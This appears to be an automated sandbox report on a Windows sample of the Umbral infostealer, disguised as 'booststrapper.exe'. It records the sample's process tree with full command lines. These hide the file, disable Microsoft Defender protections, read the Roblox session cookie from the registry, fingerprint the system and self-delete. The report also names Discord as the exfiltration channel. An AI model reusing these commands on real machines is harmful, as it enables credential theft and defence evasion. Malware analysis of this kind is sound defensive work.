umbral | b467810a9eaab64b217e6a0cf61e2f13efe7e8e211b9d11a47c06218b48badce

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
31-07-2024 21:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

booststrapper.exe
Size

231KB
MD5

2bb0fafc29a110fc1b08a2999e29a7ae
SHA1

10c76fd141b1a2c3a74a134cdf4166d44cf3507a
SHA256

b467810a9eaab64b217e6a0cf61e2f13efe7e8e211b9d11a47c06218b48badce
SHA512

d4006ab772424a4b5288fdfa368f47c35ddf3f5cefd741766ee19465fa4d29f99c044cbc8334f5f4df61ec17251b7ab377df8078e44ff725b6d86a0a4888ac62
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD445IbGELnsFd42X3Wjwb8e1mtPi:joZtL+EP845IbGELnsFd42X3Wkoa

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4704-0-0x000002AD9DD90000-0x000002AD9DDD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.exe
3916	powershell.exe
2360	powershell.exe
3204	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	booststrapper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4204	cmd.exe
3788	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2380	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3788	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4704	booststrapper.exe
3204	powershell.exe
3204	powershell.exe
3916	powershell.exe
3916	powershell.exe
2360	powershell.exe
2360	powershell.exe
1980	powershell.exe
1980	powershell.exe
3548	powershell.exe
3548	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4704	booststrapper.exe
Token: SeIncreaseQuotaPrivilege	724	wmic.exe
Token: SeSecurityPrivilege	724	wmic.exe
Token: SeTakeOwnershipPrivilege	724	wmic.exe
Token: SeLoadDriverPrivilege	724	wmic.exe
Token: SeSystemProfilePrivilege	724	wmic.exe
Token: SeSystemtimePrivilege	724	wmic.exe
Token: SeProfSingleProcessPrivilege	724	wmic.exe
Token: SeIncBasePriorityPrivilege	724	wmic.exe
Token: SeCreatePagefilePrivilege	724	wmic.exe
Token: SeBackupPrivilege	724	wmic.exe
Token: SeRestorePrivilege	724	wmic.exe
Token: SeShutdownPrivilege	724	wmic.exe
Token: SeDebugPrivilege	724	wmic.exe
Token: SeSystemEnvironmentPrivilege	724	wmic.exe
Token: SeRemoteShutdownPrivilege	724	wmic.exe
Token: SeUndockPrivilege	724	wmic.exe
Token: SeManageVolumePrivilege	724	wmic.exe
Token: 33	724	wmic.exe
Token: 34	724	wmic.exe
Token: 35	724	wmic.exe
Token: 36	724	wmic.exe
Token: SeIncreaseQuotaPrivilege	724	wmic.exe
Token: SeSecurityPrivilege	724	wmic.exe
Token: SeTakeOwnershipPrivilege	724	wmic.exe
Token: SeLoadDriverPrivilege	724	wmic.exe
Token: SeSystemProfilePrivilege	724	wmic.exe
Token: SeSystemtimePrivilege	724	wmic.exe
Token: SeProfSingleProcessPrivilege	724	wmic.exe
Token: SeIncBasePriorityPrivilege	724	wmic.exe
Token: SeCreatePagefilePrivilege	724	wmic.exe
Token: SeBackupPrivilege	724	wmic.exe
Token: SeRestorePrivilege	724	wmic.exe
Token: SeShutdownPrivilege	724	wmic.exe
Token: SeDebugPrivilege	724	wmic.exe
Token: SeSystemEnvironmentPrivilege	724	wmic.exe
Token: SeRemoteShutdownPrivilege	724	wmic.exe
Token: SeUndockPrivilege	724	wmic.exe
Token: SeManageVolumePrivilege	724	wmic.exe
Token: 33	724	wmic.exe
Token: 34	724	wmic.exe
Token: 35	724	wmic.exe
Token: 36	724	wmic.exe
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeIncreaseQuotaPrivilege	5016	wmic.exe
Token: SeSecurityPrivilege	5016	wmic.exe
Token: SeTakeOwnershipPrivilege	5016	wmic.exe
Token: SeLoadDriverPrivilege	5016	wmic.exe
Token: SeSystemProfilePrivilege	5016	wmic.exe
Token: SeSystemtimePrivilege	5016	wmic.exe
Token: SeProfSingleProcessPrivilege	5016	wmic.exe
Token: SeIncBasePriorityPrivilege	5016	wmic.exe
Token: SeCreatePagefilePrivilege	5016	wmic.exe
Token: SeBackupPrivilege	5016	wmic.exe
Token: SeRestorePrivilege	5016	wmic.exe
Token: SeShutdownPrivilege	5016	wmic.exe
Token: SeDebugPrivilege	5016	wmic.exe
Token: SeSystemEnvironmentPrivilege	5016	wmic.exe
Token: SeRemoteShutdownPrivilege	5016	wmic.exe
Token: SeUndockPrivilege	5016	wmic.exe
Token: SeManageVolumePrivilege	5016	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 724	4704	booststrapper.exe	85
PID 4704 wrote to memory of 724	4704	booststrapper.exe	85
PID 4704 wrote to memory of 2780	4704	booststrapper.exe	89
PID 4704 wrote to memory of 2780	4704	booststrapper.exe	89
PID 4704 wrote to memory of 3204	4704	booststrapper.exe	91
PID 4704 wrote to memory of 3204	4704	booststrapper.exe	91
PID 4704 wrote to memory of 3916	4704	booststrapper.exe	93
PID 4704 wrote to memory of 3916	4704	booststrapper.exe	93
PID 4704 wrote to memory of 2360	4704	booststrapper.exe	95
PID 4704 wrote to memory of 2360	4704	booststrapper.exe	95
PID 4704 wrote to memory of 1980	4704	booststrapper.exe	97
PID 4704 wrote to memory of 1980	4704	booststrapper.exe	97
PID 4704 wrote to memory of 5016	4704	booststrapper.exe	99
PID 4704 wrote to memory of 5016	4704	booststrapper.exe	99
PID 4704 wrote to memory of 3336	4704	booststrapper.exe	101
PID 4704 wrote to memory of 3336	4704	booststrapper.exe	101
PID 4704 wrote to memory of 2484	4704	booststrapper.exe	103
PID 4704 wrote to memory of 2484	4704	booststrapper.exe	103
PID 4704 wrote to memory of 3548	4704	booststrapper.exe	105
PID 4704 wrote to memory of 3548	4704	booststrapper.exe	105
PID 4704 wrote to memory of 2380	4704	booststrapper.exe	107
PID 4704 wrote to memory of 2380	4704	booststrapper.exe	107
PID 4704 wrote to memory of 4204	4704	booststrapper.exe	109
PID 4704 wrote to memory of 4204	4704	booststrapper.exe	109
PID 4204 wrote to memory of 3788	4204	cmd.exe	111
PID 4204 wrote to memory of 3788	4204	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2780	attrib.exe

C:\Users\Admin\AppData\Local\Temp\booststrapper.exe
"C:\Users\Admin\AppData\Local\Temp\booststrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:724
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\booststrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\booststrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3548
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\booststrapper.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6ef8a43056ce0ccdaa09239338ec3e74

SHA1
e75b15f6935f0e5895a248b78c88532d813c3470

SHA256
ec50393db037cb4fd121a9635ceca5e60aa1c22ec57521cfb7c6c187effa7bca

SHA512
40f25028ef06ecdf8e4f7ff049457a973e71fb0c7a166bb15984ff1b923e482c4e3b58daaa794bf51f791be8df25ab50df73a0e36f6c513988514d6e6156e4b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2lzvespc.fd1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3204-4-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download
memory/3204-15-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download
memory/3204-14-0x0000020FB1C20000-0x0000020FB1C42000-memory.dmp

Filesize
136KB

Download
memory/3204-18-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download
memory/3204-3-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download
memory/4704-33-0x000002ADB8580000-0x000002ADB85F6000-memory.dmp

Filesize
472KB

Download
memory/4704-34-0x000002ADB8260000-0x000002ADB82B0000-memory.dmp

Filesize
320KB

Download
memory/4704-35-0x000002AD9FB30000-0x000002AD9FB4E000-memory.dmp

Filesize
120KB

Download
memory/4704-1-0x00007FFB0B383000-0x00007FFB0B385000-memory.dmp

Filesize
8KB

Download
memory/4704-0-0x000002AD9DD90000-0x000002AD9DDD0000-memory.dmp

Filesize
256KB

Download
memory/4704-71-0x000002AD9FB60000-0x000002AD9FB6A000-memory.dmp

Filesize
40KB

Download
memory/4704-72-0x000002ADB82B0000-0x000002ADB82C2000-memory.dmp

Filesize
72KB

Download
memory/4704-2-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download
memory/4704-90-0x00007FFB0B380000-0x00007FFB0BE41000-memory.dmp

Filesize
10.8MB

Download